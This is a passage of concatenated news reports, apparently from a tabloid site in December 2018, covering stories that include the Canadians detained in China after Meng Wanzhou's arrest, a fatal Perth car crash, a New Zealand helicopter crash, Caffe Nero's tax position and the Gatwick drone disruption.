with Ankara. "Essentially, the U.S. administration was faced with a choice - either they lose Turkey as a strategic ally and active member of NATO in the Middle East, or they withdraw troops and leave the field for Turkey. It is important to understand that the withdrawal of U.S. troops is caused by a conflict of interests on the Kurdish issue between Turkey and the U.S.," Vyacheslav Matuzov concluded. Canada's National Post has released a picture (above) believed to be of Sarah McIver, the third Canadian detained in China The third Canadian detained in China this month is being punished for working illegally in the country. China's foreign ministry said today that a Canadian woman, identified as school teacher Sarah McIver, was undergoing 'administrative punishment' due to 'illegal employment'. McIver's detention came after two other Canadian citizens - former diplomat Michael Kovrig and businessman Michael Spavor - were detained earlier this month. Both Kovrig and Spavor are accused of endangering the state security by Beijing. China has detained three Canadian citizens after Meng Wanzhou, the CFO of Huawei, was arrested in Vancouver under a U.S. warrant. Meng is pictured after being released on bail The detentions of the Canadians followed the arrest of Meng Wanzhou, the chief financial officer of Chinese telecom giant Huawei, in Vancouver on December 1. Meng, a 46-year-old Chinese national, is the daughter of Huawei's billionaire founder Ren Zhengfei and one of the most powerful women in China. She was arrested in Canada at the request of the United States - a move that has enraged Beijing while it is engaged in a trade war with Washington. China has been accused of 'tit-for-tat' over the detentions of the Canadians. Commenting on McIver's detention during a daily news briefing today, China's Foreign Ministry spokeswoman Hua Chunying said: 'What I can tell you is that China and Canada are maintaining clear consular communication.' When asked if McIver's case was connected to that of Kovrig and Spavor, Hua pointed out that the nature of the cases were different, given the other two were accused of endangering national security. The first detainee, Michael Kovrig (left), is a former diplomat and now works for a NGO. The second detainee is Michael Spavor (right) who orgainses trips to North Korea from China Hua referred further questions on McIver to the Ministry of Public Security, which did not immediately respond to requests for further comment. Huawei case may involve EU Michael Kovrig, the first Canadian detained in China earlier this month following the arrest of Huawei's CFO, also has Hungarian nationality, sources familiar with the matter said. The revelation could raise the stakes of the ongoing political tensions between China, Canada and the U.S. by pulling the EU - China's largest trading partner - into the case. Two of the sources said that the Hungarian embassy in Beijing had been seeking access to Kovrig too. 'It's not been granted yet,' one of them said. The second source said the Hungarian embassy in Beijing was treating it as a consular case and going through the 'normal process', also confirming consular access had not been granted. Kovrig spent much of his 20s in Budapest, singing in a rock band, teaching English and writing for a city newspaper, a third source said. Advertisement Canadian media said McIver worked as an English teacher in China. McIver, said to be from the Canadian province of Alberta, is described by those who know her as 'bubbly' and 'approachable', according to National Post, which has also released a picture thought to be of McIver. National Post's article said McIver was expected to be returned before the New Year, quoting a source. The Canadian authority did not confirm a timeline to the news site. Canadian Prime Minister Justin Trudeau yesterday urged caution and said he would not be 'stomping on a table' after China detained the third Canadian. Trudeau said he was asking China for more information on the detentions. He said the latest incident was 'a very separate case' from the previous two. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huawei's founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a 'tit-for-tat' reprisal by China. Canadian Prime Minister Justin Trudeau yesterday urged caution and said he would not be 'stomping on a table' after China detained the third Canadian. Trudeau is pictured shaking hands with China's President Xi Jinping at the G20 Summit on September 4, 2016 in Hangzhou China has demanded Meng's immediate release and summoned in the Canadian and U.S. ambassadors to complain about the case. Meng is accused by the United States of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating U.S. sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the United States. She is due in court on Feb. 6. A girl's chilling plea on Facebook regarding the whereabouts of her best friend has ended in heartbreak after her worst fears were realised. Kimberley Berente, 17, from Mandurah south of Perth, excitedly texted friends on Tuesday morning to say she had passed her driver's test and wanted to celebrate the major milestone with a drive to the beach. Within four hours, Kimberley was dead after she lost control of her Subaru Outback, which flipped several times along the unsealed and corrugated dirt track of White Hill Road in Bouvard, 100 kilometres south of Perth. As word spread about the crash, one of Kimberley's best friends Sarah Eastland feared the worst and posted a frantic message on Facebook. 'You never know what it feels like to lose your best friend until you actually have lost them,' Sarah Eastland (right) posted after the tragic death of Kimberley (left) was confirmed Perth teen Kimberley Berente (pictured) died after she lost control of her Subaru Outback just hours after getting her Ps 'If anyone's heard from Kimberley Berente, Tayah Coates or Savannah O'Meara within the last hour message me ASAP please,' she posted on Tuesday. One friend replied: 'Im worried if that was them in the crash.' Sarah's worst fears were soon realised and later posted a heartfelt tribute in Kimberley's memory. Sarah Eastland feared the worst on Tuesday afternoon and posted a frantic message on Facebook 'You never know what it feels like to lose your best friend until you actually have lost them. I feel so much pain and sadness as of now and I'm sure everyone feels the same. You were such a beautiful person and you always lit up my day,' Sarah posted. 'You had such a life to live and it's a shame you were taken this early, it's not fair. I already know you'll be cooking everyone meals up there with your amazing cooking skills, also hope you're eating some amazing pasta. Rest easy hunny, until we meet again.' The Suburu Outback (pictured) flipped several times, with driver Kimberley Berente suffering fatal head injuries. Two passengers escaped from the wreckage with minor injuries The Year 11 Halls Head College student (pictured) was a bubbly girl and motocross enthusiast Police on the scene described Kimberley's head injuries as 'catastrophic'. Kimberley's friends Tayah and Savannah, who were passengers in the car but managed to escape from the wreckage with minor cuts and bruises. Both girls were discharged from Royal Perth Hospital on Wednesday night. Investigators don't believe speed was a factor, instead pointing to driver inexperience. All three girls were believed to be wearing seat belts. Western Australia's road toll for 2018 currently stands at 152 following the tragic death of Kimberley Berente (pictured), who lost control of her vehicle within hours of getting her Ps Kimberley's friends posted tributes on social media, describing the Year 11 Halls Head College student as a bubbly girl who was also a motocross enthusiast. 'You will always be in my heart, you precious, precious soul,' one friend wrote. 'You never know what it feels like to lose your best friend until you actually have lost them. You were such a beautiful person and you always lit up my day,' wrote another. The haunting text message Kimberley Berente sent her two friends just hours before her death Kimberley's school friends visited the crash site on Wednesday, where they hugged each other and laid flowers by the side of the road. Locals called for clearer signs to be erected on the dangerous road where the accident took place. 'There is a sign at the beginning of the road to say that the condition of the road are subject to change,' Mandurah resident Mike McVilly told Perth Now. 'If they could probably put a more permanent speed reduction sign of, say, 40 or at least 50 maximum kilometres per hour, that would be a big benefit, I'm sure.' Western Australia's road toll for 2018 currently stands at 152, one more from last year. Double demerit points apply from midnight Friday until midnight on January 6. The Subaru Outback flipped along the unsealed and bumpy dirt track, rolling several times, leaving Kimberley Berente with fatal head injuries A tradesman charged with murdering a disabled teenager who drowned in a bathtub five years ago has been identified as the 18-year-old's stepfather. Police will allege that Charlie Younes, 44, murdered his former stepson Steven Copo-Horton in 2013, according to the Sydney Morning Herald. Mr Copo-Horton, 18, was unable to be revived when found by paramedics in the bath at an Emerton home, in Sydney's west, in October 2013. Steven Copo-Horton (pictured as a child) was found unconscious in the tub at a home in Emerton in Sydney's west in October 2013 and couldn't be revived The homicide squad's unsolved crimes unit took over the investigation in March this year and detectives on Tuesday arrested Younes at a home in Merrylands. Officers raided a Montrose Avenue property, seizing mobile phones, a laptop, a small amount of illegal drugs and two weapons, police said in a statement. Younes, 44, was charged with murder and had his bail application refused at Parramatta Local Court on Thursday. Police will allege in court Younes 'deliberately drowned Mr Copo-Horton in the bathtub that night'. Police will allege in court Younes 'deliberately drowned Mr Copo-Horton in the bathtub that night'. Mr Copo-Horton pictured with his mother Bec They will also allege the relationship between Younes and Mr Copo-Horton's mother Bec was breaking down at the time, according to the Sydney Morning Herald. The publication also reported that the pair share three children together. The family of Mr Copo-Horton said it had been a long and difficult five years since his death. 'Stevie was so full of life; always happy and full of hugs and kisses,' the family said in a statement. They will also allege the relationship between Younes and Mr Copo-Horton's mother Bec (pictured right) was breaking down at the time, according to the Sydney Morning Herald 'Stevie touched the lives of so many people just by being him.' The 18-year-old had been diagnosed with Angelman syndrome. The illness means that the sufferer may be unable to talk or walk in a jerky manner, as well as have intellectual developmental delays. A funeral notice in the days after his death, according to The Daily Telegraph, read: 'Steven's passing has left a large gap in our hearts and everyone who loved him, his family, uncles and aunties, cousins and many friends. The 44-year-old (pictured left) has been charged with murder over the death of a teenager who drowned in a bathtub five years ago 'Aged 18 Years 'Now in the care of Angels'.' Homicide Squad Commander Detective Superintendent Scott Cook said investigators 'never gave up on this case'. 'Five years on from the initial police response, we have now put a man before the courts,' Det Supt Cook said. Mr Younes' lawyer Steven Cairns said that he was an 'innocent man who needed to prepare his defence'. He is expected to reappear on February 28. An AFL tragic duped friends into giving her millions of dollars before blowing the money in an exclusive, high-roller gaming room hidden from the public. Maureen Johnston, 68, was handed a five-and-a-half year jail sentence after scamming victims of more than $1 million. The Herald Sun reported Johnston used part of the money to join the 'secret' Crown Casino club known as the 'Black Room' in Melbourne. Mystery surrounds the elusive invitation-only club, but it is known the high-roller members have to spend a minimum of $120,000 a year to access the perks. Maureen Johnston, 68, used part of the money from the scam to join the secret Crown Casino (pictured) club known as the 'Black Room' The 'Black Room' is the top tier in the Mahogany Room with platinum, gold, silver and bronze coming afterwards (stock photo) The 'Black Room' is the top tier in the Mahogany Room club, with platinum, gold, silver and bronze coming afterwards. Reports suggest the Mahogany Room attracts some of the wealthiest internationals, such as Vietnamese-born suspected drug trafficker Pete Hoang. The affluent man had gambled close to $1 billion before he was arrested in the club's bathroom and charged with money laundering. Two years later he was gunned down. Sources told the news outlet Johnston lived the high life and drank and ate for free, accessed exclusive clubs in the casino and capitalised on member-only concierge services. Johnston managed to prop her lavish lifestyle on fake investment schemes and seemed to have no issue on who she targeted. From friends, to a fellow cancer patient to even her cleaning lady, nobody was safe from Johnston's deception. She is also a die-hard fan of AFL team Collingwood. Johnston managed to trick her victims into fake schemes such as fictitious property investment opportunities in Australia and overseas, promising large returns for their loyalty. Mystery surrounds the elusive invitation-only club, but it is known the high-roller members have to spend a minimum $60,000 every six months to access the perks (stock photo) One retiree was fleeced of his entire life savings. Now down $820,000 he has to now live off a pension. All the $1,132,500 she stole was used to pay off debts and prop up her gambling addiction, the Herald Sun reported. County Court judge Wendy Wilmoth branded Johnston as 'predatory and exploitative' during her sentencing. 'You exploited your cleaning lady and her daughter, you befriended a vulnerable patient in the same hospital where you were being treated, you took money from people knowing their resources were being exhausted, making promises to them knowing they were false,' she said. Johnston will be up for parole in two years. Coffee chain Caffe Nero did not pay a penny in corporation tax for the eleventh year in a row despite record sales of 279million. The British company, which has 666 outlets across the UK, saw its 22.5million profits in the year to June wiped out by hefty interest payments. It is understood the payments relate to debt linked to when Californian founder Gerry Ford took the business private in 2006. US companies have also come under fire for low tax bills in the UK, with Facebook paying just 15.8million of corporation tax last year, despite revenues of 1.3billion. Accounts for parent company Caffe Nero Group Holdings show revenue rose to 334million, but an annual interest bill of 39million plunged it into the red for the year. Coffee chain Caffe Nero did not pay a penny in corporation tax for the eleventh year in a row despite record sales of 279million As the company failed to make a profit, it is not required to pay corporation tax. It means that Caffe Nero Group Holdings has failed to pay any corporation tax since 2007, despite generating more than 1billion in sales during that period. There is no suggestion that Caffe Nero has done anything illegal. A spokesperson for the firm said it 'always paid and will continue to pay all applicable taxes in the UK'. Accounts show that Caffe Nero paid 68million in VAT, employment taxes and business rates during the same period. The firm used the same excuse to not pay corporation tax last year, avoiding a 5.1million bill after claiming its holding company made a 24million loss. The British company, which has 666 outlets across the UK, saw its 22.5million profits in the year to June wiped out by hefty interest payments The retail giants who manage to avoid corporation tax in the UK A string of major foreign firms have been accused of paying too little tax in Britain. In October it was revealed that Facebook paid just 15.8million of UK corporation tax last year, despite revenues of 1.3billion. Meanwhile, US food firm Mondelez the owner of Cadbury has paid no net tax through its main UK arm since 2010. And Amazon's warehouse arm Amazon UK Services paid only 4.5million of corporation tax in its most recent financial year. The internet shopping giant has also come under fire over its business rates bill. Amazon pays just 14million in rates for its 14 giant warehouses in England and Wales far lower bills than many smaller companies that are struggling to survive on the High Street. Earlier this month it was revealed that Facebook paid just 15.8m of UK corporation tax last year, despite revenues of 1.3bn In October, a top economic group warned that tax avoidance is costing countries around the world 190billion a year and a crackdown is desperately needed. Figures from the Organisation for Economic Co-operation and Development (OECD), which represents the world's major economies, will pile pressure on efforts to stop giant corporations from shifting profits into tax havens. And they come as the European Union prepares to launch a tax raid on foreign tech firms such as Google, Facebook and Amazon so they are forced to pay their fair share. In Britain, Chancellor Philip Hammond has threatened to impose a tax on tech firms unless international action is taken. Pascal Saint-Amans, head of tax at the OECD, said: 'Around 190billion a year of tax is lost through tax avoidance. This is a really conservative figure, so it's probably bigger.' Saint-Amans said that the EU or UK will not be able to solve the problem on their own. Instead, he said global tax rules must be changed to prevent tech firms from dodging taxes. The OECD tried to take action three years ago but its efforts have since stalled. Saint-Amans said: 'We've not delivered as much as we expected to, because the US at that time was opposed to any form of solution. That's why a number of countries were very frustrated and said, 'Well, if you can't reach a deal at the OECD then let's do something immediately.' But you need all the countries in the world, starting with the US, to agree on a set of rules that would allow you to tax without a physical presence.' Amazon's warehouse arm Amazon UK Services paid only 4.5million of corporation tax in its most recent financial year An Amazon spokesman said its total business rates bill is much higher than 14million once other offices are taken into account but it refused to say what the figure was. A spokesman said: 'Amazon pays tens of millions of pounds more in business rates in England and Wales than suggested by the research, and our business rates bill has increased significantly in 2018, including an overall increase at the 14 sites mentioned.' The OECD named and shamed 21 countries which offer so-called golden passport schemes that are damaging efforts to stop tax evasion. These nations which include Malta and Cyprus inside the EU allow the ultra-rich to buy a passport with an investment into the country, even if they have never lived there. This gives them access to the nation's financial system and may help criminals shift dirty money into mainstream banks. Other countries, including the US and UK, also let wealthy people buy citizenship through a substantial investment, but their schemes are not deemed to be problematic by the OECD because of stricter rules. Three people were killed in a helicopter crash when a loose pair of trousers flew out of the cabin and wrapped around the tail motor, an investigation found today. The aircraft went down leaving no survivors in Wanaka, New Zealand in October. The bizarre cause of the tragedy has now been revealed in a Transport Accident Investigation Commission report. Nick Wallis (pictured) from Wanaka in the South Island was one of three people killed in a helicopter crash near Wanaka Airport Two Department of Conservation staff were also on board and police confirmed that there were no survivors. Pictured: The scene of the crash 'There is evidence that a pair of over-trousers that had been packed in the cabin came out of the helicopter and became entangled in the tail rotor,' chief commissioner Jane Meares said. 'Paint marks on the over-trousers matched the colour and profile of the tail rotor blades, and marks on a tail rotor blade match a zip and dome connector on the over-trousers.' Releasing its interim findings, the commission said the case underlined the danger of loose items in helicopter cabins. The crash occurred on October 18 when the helicopter was taking off, claiming the lives of the pilot Nick Wallis and two conservation department workers. The pilot's brother Matt Wallis died piloting a helicopter in the same area just months earlier. Mr Wallis was the youngest of four brothers and less than three months earlier, his older brother Matthew (left) also died in a helicopter crash Matthew Wallis (pictured) crashed near Stevensons Island in Lake Wanaka during a short solo flight from Wanaka Airport to Mt Aspiring National Park in July The commission also released an interim report into that crash on Thursday, finding the most likely cause was a main rotor drive-shaft failure that caused the helicopter to break-up mid-flight. It is understood that Mr Wallis and the DOC staff were on their way to bring a herd of wild goats under control in the Haast area. The helicopter left Wanaka Airport at 10.51am, headed for Landsborough Valley. It was seen bursting into flames after it crashed into a nearby paddock. Emergency services were called to the scene of the crash at about 11am. Mr Wallis was the youngest of four brothers. His older brother crashed near Stevensons Island, in Lake Wanaka, during a short solo flight from Wanaka Airport to Mt Aspiring National Park in July. Mr Wallis and his brothers, sons of helicopter pioneer Sir Tim Wallis, ran an Alpine Lodge called Minaret station, and all four are highly experienced fliers. Mr Wallis and his brothers, sons of helicopter pioneer Sir Tim Wallis, ran an Alpine Lodge called Minaret station, and all four are highly experienced fliers Police are still investigating the cause of the crash, but it is understood that Mr Wallis and the DOC staff were on their way to undertake control of wild goats The family is well-known and much-loved in the area. Mr Wallis leaves behind a wife and their twin seven-year-old daughters. 'We acknowledge this is the second helicopter crash in the Wanaka area in recent times and the impact this will have on the local community,' Inspector Olaf Jensen said at the time. He added that police were working closely with victim's families to provide support. Mr Wallis had been flying a brand new Hughes 500 helicopter, and a former DOC worker who has flown with him many times, was baffled as to the cause of the crash. 'It will be really interesting to find out what has happened here,' he told local reporters. 'I can't believe it would be a pilot error as Nick was super experienced and a really talented pilot.' A young single mother jailed for pimping out a homeless 14-year-old girl for sex has been denied bail pending a challenge to the Court of Appeal. Monika Rachael Kelly, 21, was sentenced to two-and-a-half years behind bars earlier this month in the High Court at Auckland for the sick underage prostitution ring. Ron Mansfield, Kelly's lawyer, was seeking bail for his client while she awaits the appeal in February against her prison sentence for sexual exploitation. Monika Kelly, (pictured) seen at her sentencing earlier this month for pimping out a 14-year-old girl, has been denied bail pending challenge to the Court of Appeal Kelly drove the vulnerable young teenage girl to client meetings in hotels, including City Life Hotel (pictured is a room in the hotel) Kelly will remain in custody, however, after Justice Murry Gilbert denied the application. The solo mum began pimping out the young girl driving her to and from meetings with clients in hotels around downtown Auckland when she lived with her over a six week period. The girl had run away from home and a life described, by Justice Downs at sentencing, as 'messy'. The 14-year-old said in a statement that Kelly 'took her in during a challenging time in her life and [was] exploiting her,' reported the New Zealand Herald. The proceeds from the offending, about $1000 in total after earning $350 for one night, was shared between Kelly and the teen for living expenses. Kelly's lawyer, also argued at her earlier sentencing that a sentence of home detention should have been imposed because Kelly was motivated by dire financial circumstances and had sole care of her one-year old son. Justice Downs imposed a sentence of imprisonment at the time. 'The victim was vulnerable, you knew that, you knew that the victim was young. To be more specific, you knew she was 14 for most of your offending,' he said. Passengers stranded by the chaos at Gatwick Airport today told of families running out of food and trying to sleep in 'freezing' terminals and crowded planes. Pregnant women and young children were resting on the floor, disabled people were on chairs and people were trying to calm small babies amid the travel carnage. Some became so irate at being stuck on the ground for four hours at Stansted that one allegedly opened the plane door before another claimed he was a terrorist. At Gatwick, most of the 110,000 passengers due to fly are expected to face delays or cancellations, following the continuing disruption which began at 9pm last night. The airport initially reopened at 3am today, before closing again and saying it would reopen at 8am. However, this never materialised - and it was still shut at 1pm today. However consumer rights experts say that passengers will not be entitled to compensation due to the incident falling under 'extraordinary circumstances'. At London Gatwick today, Hollie Smith was supposed to be flying to Lapland with her five-year-old twin nieces Gracie and Sofia (pictured) from Chelmsford to meet Father Christmas Police are pictured at Gatwick's police station roof today as they use equipment in the ongoing task to stop the drone unleashing chaos in Sussex This shows where passengers heading for Gatwick have been diverted since 9pm last night A couple due to be married on Saturday and their wedding party are facing another night of uncertainty at Gatwick Airport following flight disruption caused by drones. Bride-to-be Tayo Abraham and her partner Ope Odedine were due to fly to Marrakesh in Morocco on Wednesday alongside nine family and friends. WHAT YOU SHOULD DO If you are due to fly from or to Gatwick: Do not travel to the airport before checking your flight status Call your airline and check Gatwicks website for updates If your flight is already cancelled: Talk to your airline to arrange an alternative flight avoid rebooking it yourself if possible If you make any other arrangements, or have to pay for accommodation or transport, keep all receipts and tickets Check with your insurer or credit card provider whether you are covered Advertisement The group boarded the Air Arabia flight, due to depart at 8.40pm, and were kept onboard 'in the dark' until 2am. Ms Abraham's uncle Baba Sanwo, from San Diego, flew into Heathrow from the US on Tuesday in anticipation of Wednesday's flight, hoping to travel as a family. The 63-year-old said he had been sat on the floor of Gatwick for over five hours. He said: 'I'm uncomfortable, cold and hungry. 'What if there are people on medication, what if there was a wedding today?' Stella Phillips, the bride-to-be's aunt, from London, said she may be unable to attend the wedding if the flight does not take off on Thursday night. Hollie Smith was supposed to be flying to Lapland with her five-year-old twin nieces Gracie and Sofia from Chelmsford to meet Father Christmas. But she said: 'Who will be the one to break the news to them? Sat in departures with no information. Twelve-plus hours to take down a drone is laughable... don't they have police drones to send up?' Carl and Lisa McCluskey, from Lincolnshire, found out from an air stewardess on Thursday that their flight to Egypt was delayed until further notice. They have been told to check in with their airline Thomas Cook at 6am on Friday morning and, unable to check into a local hotel or make the three-hour journey home, face spending the night in the airport with their two daughters, aged seven and eight. Mr McCluskey, 44, said: 'It's mindless idiots probably, they know what they're doing to hundreds of thousands of people. 'They would have seen the disruption to come out again this afternoon.' The family, travelling with Mrs McCluskey's parents, said their two-week trip cost about 6,500. This evening Transport Secretary Chris Grayling told Sky News: 'We're doing everything we can to make arrangements with other airports to get passengers incoming into the UK, but also to give passengers a chance to get out of the UK as quickly as possible. 'One of the things we're going to be doing is temporarily lifting the night-flight restrictions at other airports so more planes can get into and out of the country. 'Apologies for the residents affected, but it's right and proper that we try and sort people's Christmases out. 'It's likely to be other London airports but it will only be tonight. We will review the situation again tomorrow but we're looking to get people away.' Meanwhile Anne Parsons from pet travel agent Annie's Animal Ark in Cyprus said she had sent pets from Paphos to Gatwick last night and they had been in their crates since 6pm UK time. However, the animals are now stuck on an aircraft in Liverpool because they cannot disembark there. She told MailOnline: 'Oh what I'd like to do to the drone pilot!' Jet the dog and Aphra the cat are among the pets sent from Paphos to Gatwick last night. The animals are now stuck on an aircraft in Liverpool because they cannot disembark there Passenger Mia Manzotti filmed a confrontation between a woman and a man in the airport, which had to be broken up by security when it turned violent. She said: 'I think people are just getting extremely frustrated with the way things are being handled, both by airport staff specifically and the airlines in general. 'EasyJet in particular is making a bad situation worse by providing inaccurate information and minimal updates. It's a highly emotional situation. 'A lot of passengers were looking forward to these trips for a long time and to have their plans changed at the last minute at Christmas-time is upsetting. Dozens of police officers are now hunting for the drone pilot as flights remain delayed today 'Obviously the frustration is going to manifest itself in different ways, and unfortunately this woman just couldn't keep it together anymore.' MailOnline travel editor Ted Thornhill was among those caught up in the trouble, as his Christmas plans to visit relatives in France were 'ruined' by the drone. The father-of-one said: 'We were supposed to be flying to Marseille to visit French relatives but our 8.40am easyJet flight was cancelled. 'The only options open to us were to transfer to a late flight tomorrow to Nice - which would have been very disruptive for the baby's sleep pattern - or book a new flight, which would have been very expensive. 'So we've cancelled the entire trip. Luckily we heard about the disruption before we got to the airport so returned home. Very frustrating.' Passengers stand by a plane door in Paris today after being diverted there on a Norweigan flight that had been headed to Gatwick. They said staff had started handing out water bottles Passengers sit on the ground as they wait for announcements at London Gatwick today A six-and-a-half hour TUI Airways flight from Cape Verde to London Gatwick was diverted to Stansted due to disruption caused by drones over the Sussex airport. But passengers claimed it was 'pure hell' on the Tarmac at Stansted overnight on flight TOM687, with some shouting at other travellers and being abusive to staff. Mother-of-two's tears as Christmas in her homeland is cancelled Mother-of-two Liliana Cabrera broke down in tears on the floor of the south terminal next to her sons Isaac, six, and Leonardo, five, after their flight home to Colombia was cancelled. Liliana Cabrera with sons Isaac, six, and Leonardo, five, at Gatwick Airport today The 42-year-old said she is worried she will not make it back to Colombia to spend a Christmas with family and was 'devastated for her boys'. The museum worker, from Greenwich, South East London, said: 'My family are waiting for me and the boys and I'm devastated for them. When our flight was cancelled, I was crying and the boys were crying - it is just a horrible situation. 'I have five huge suitcases full of presents for my family and I'm worried we won't make it back in time for Christmas. We arrived early in the morning and the boys were excited for the flight - I didn't know about the drone at first. 'Then we went to check in at 7am and staff took our luggage. There was a misunderstanding at the departure gate and next thing I know, we were asked to leave and we've been waiting ever since.' Advertisement Having been stuck on the plane which landed at about 10.15pm last night for four hours, a man then allegedly opened the door and put everyone on board at risk. Another then said he was a terrorist and video footage showed two Essex Police officers coming on board to defuse the situation. No arrests were made. One passenger, Lyndsey Clarke, from Southend-on-Sea, Essex, tweeted: 'So Gatwick is shut due to drones so our flight TOM687 has been diverted to Stansted. 'So far we've been stuck on our plane for four hours... a man has opened the plane door and put everyone at risk and then another guy says he's a terrorist. 'Living pure hell right now. The staff on flight TOM687 have been amazing but unfortunately they have been subject to so much abuse. 'We all just want to get home. Several passengers on flight TOM687 just making this ordeal so awful, abusive to staff, shouting at other passengers. Police here now.' Later, she added that she finally off 'the plane of living hell', adding: 'Now to find a taxi back to Gatwick with a big bill - passengers trying to go together.' And at 5.30am, Ms Clarke tweeted a picture of her car, saying: 'Never been so happy to see our car. Back at Gatwick finally... eight hours later than our scheduled flight was due to arrive home at 9.30pm... just over an hour's drive home now.' After arriving home she tweeted: 'As for the terrorist... I have no words that someone thought it was OK to terrify an aircraft by saying he was a terrorist when in fact he was using it as an 'idea' to get them to let us off the plane, causing many of us to have panic attacks as we didn't know if he was real.' Another passenger, Ashley Pollitt, tweeted TUI to praise staff on the flight for being 'nothing but helpful and informing us regularly' about what was happening. She added: 'I'm sensing you will get a lot of complaints off idiotic customers that put both passengers/staff in danger along with other throwing stupid statements around. 'I just wanted to say your staff from the captain to the cabin crew were nothing but professional and informative.' TUI replied, saying: 'Sorry to hear that your flight has had to be diverted Ashley, I can imagine this has been an inconvenience. It's great to read however that our staff have been helpful in keeping you informed during this time.' Stranded passengers are seen sleeping at London Gatwick today as the disruption continues Two women sit on a mobility cart as passengers wait for announcements at Gatwick today It then added: 'Thanks so much for sharing your experience with us Ashley. We'll be sure to pass on your kind words to the crew of TOM687.' An Essex Police spokesman told MailOnline: 'We were called shortly after 1.35am on Thursday, December 20 to reports a passenger was being disruptive. 'We attended and spoke to the parties involved. No offences were identified and words of advice were given to the male passenger.' A TUI UK spokesman said: 'We would like to apologise to customers travelling on TOM687 which was diverted to London Stansted due to the London Gatwick drone disruption. Passengers try to rest on the floor at Gatwick as they wait for announcements today Passenger chaos at Gatwick Airport this morning, amid chaos for tens of thousands of people 'While the aircraft was held on stand, our captain made the decision to call police to the aircraft due to a customer's disruptive behaviour. We operate a zero tolerance policy on aggressive and abusive behaviour on board our flights. 'The safety and security of all our customers and crew remains our number one priority and we are doing everything possible to minimise the disruption for our customers during this time.' Stansted Airport declined to comment. Andri Kyprianou, from Cyprus, said she saw a pregnant woman sleeping on the floor and passengers with infants spending the night in the 'freezing' South Terminal. She said she got to the airport at 12.30am for a 3am flight to Cyprus via Kiev, only to find it had been cancelled and the next connection in Kiev is on Sunday. Passengers queue while waiting for announcements at Gatwick South Terminal this morning She said: 'I haven't slept since yesterday morning, we are very tired. It's freezing, we are cold, having to wear all of these coats for extra blankets. 'There were pregnant women, one of them was sleeping on the floor. There were people with small babies in here overnight, we saw disabled people on chairs. There were young children sleeping on the floor.' She said she will have to spend a night in Kiev, but she had been told by Ukraine International Airlines that there may be a chance of an alternative connection through Tel Aviv. 'Hopefully they will arrange a hotel for us so we don't have another night in an airport,' she added. The arrivals board at Gatwick this morning, showing cancelled, diverted and delayed flights Chris Lister, from Somerset, who owns an online business, was travelling back from Kiev with his wife Freya. He was due to land at Gatwick at 9.45pm yesterday but ended up trapped on the plane on the Tarmac at Birmingham Airport until 6am. 'There were quite a few babies and kids on board, I think they were struggling more than we were and one woman had run out milk,' he said. After starting his journey in Bangkok on Tuesday he was finally let off the plane at 6am, he said. A Gatwick spokesman said 110,000 passengers were due to either take off or land at the airport on 760 flights today. He was unable to say how many had already been affected but the first wave of flights is normally the busiest time of the day. Around 10,000 passengers were affected last night after the runway was closed at 9.03pm. Passengers are advised not to travel to the airport if their flight is cancelled. Video footage showed two police officers coming on board to defuse the situation on board a TUI Airways flight which was diverted from Gatwick to London Stansted last night The TUI flight from Cape Verde to London Gatwick (pictured) was diverted to Stansted Mamosta Abdulla said he was on an Iraq-bound flight yesterday evening before getting stuck on the Tarmac for four hours. He will miss his father's memorial service, he said. 'We got here at 6pm and should have flown at 9.10pm, but we were stuck four hours on the plane with a crying baby, the child was disabled and everyone was sweating because it was so hot in there,' he said. Passengers were given a 12 voucher for food, he added, but were left to sleep 'in a freezing place on uncomfortable chairs'. 'We are in Iraq with bombs going off nearby and the plane still lands. But here some drones have shut down the airport.' Queues of passengers in the check in area at Gatwick Airport today as they wait for updates Former bank worker Lexie Heath had to be given a wheelchair after the stress of having her flight cancelled exacerbated her heart problem. How drones have caused chaos at airports this year This is not the first time an incident involving drones has been reported at London Gatwick. The airport closed for around 20 minutes following a similar incident in 2017 as concerns were raised that drone pilots were deliberately trying to film close encounters with aircraft. And in October, it was reported that a drone 'put 130 lives at risk' after nearly hitting an aircraft approaching the airport over the summer. According to the UK Airprox Board, the flying gadget passed directly over the right wing of the Airbus A319 as it was preparing to land at the West Sussex airport in July. Last week, a suspected drone crashed into a passenger plane in Mexico - ripping holes into the front of the craft as it attempted to land in Tijuana. The crew on board the Aeromexico Boeing 737-800 had to request help in order to land the mauled aircraft after hearing a 'very strong blow'. In October, a drone collided with a commercial aircraft as it was approaching to land in Canada. There were six passengers and two crew on the aircraft and the drone connected with its wing, but fortunately it suffered only minor damage, allowing it to land safely at Jean Lesage International Airport in Quebec City. In June a Virgin Atlantic Boeing Dreamline avoided crashing into a drone by just 16ft (5m), in the nearest miss in British aviation history. At the time, Virgin said: 'It's vital that action is taken to regulate the use of drones near airports, and we urge the government to consider further proposals.' Two months later a drone, flying higher than the 400ft limit, came within 50ft (15m) of hitting a Boeing 737 that was landing at Stansted Airport. Advertisement The 73-year-old, who lives in London and was scheduled to fly to Glasgow to be with family for Christmas, said she was not used to travelling alone as her husband died five months ago. She said airport staff had been 'fantastic' in looking after her and that she had been stuck on a stationary plane from 7am for around four hours this morning. She said: 'I have a heart problem and when I get stressed it races too fast and sometimes skips a beat. 'I can get a pain down my arm as well, like pins and needles. This stress has really set me off, very much so. My legs just go. 'I'm not that used to travelling alone, it used to be with my husband. 'I'm going back up to spend Christmas with my family. My brother died three weeks ago and now I'll have the extra stress of trying to organise parts of his funeral. I could have really done without this.' A replacement flight from Gatwick tomorrow morning has been organised for her, she added. Christopher Knibbs told MailOnline that he was on British Airways BA2154 from Bridgetown in Barbados to Gatwick. He said: 'About 30 minutes before we were due to land this morning - so around 5.30am, we were told that we were going to Heathrow instead and that this was a good thing as it might have been Dusseldorf. 'Fair point but not really good enough. We were told that Gatwick airport runway will open at 9am so we sat on the runway at Heathrow for three hours, waiting for the 15 minute flight to Gatwick. 'We were told to get out at Heathrow, after three hours of sitting on the runway. Why it took three hours for BA to decide this I have no idea. A T5 bus took a further 20 minutes to arrive whilst people sat on the runway. 'Coaches were then laid on to get everyone back to Gatwick. The staff were very good but BA as an organisation - a shambles.' Grace Lyons told of her anger having arrived at the airport 29 hours earlier - and passed through immigration twice before being redirected to Stansted Airport. The 32-year-old, from Herne Hill, south London, said: 'It's an absolute mess. I'm going home to Ireland and have very little time as it is, this has essentially cut two days off my family time. The scene inside an easyJet plane today, three hours after it landed at Manchester having been diverted from Gatwick Airport which was 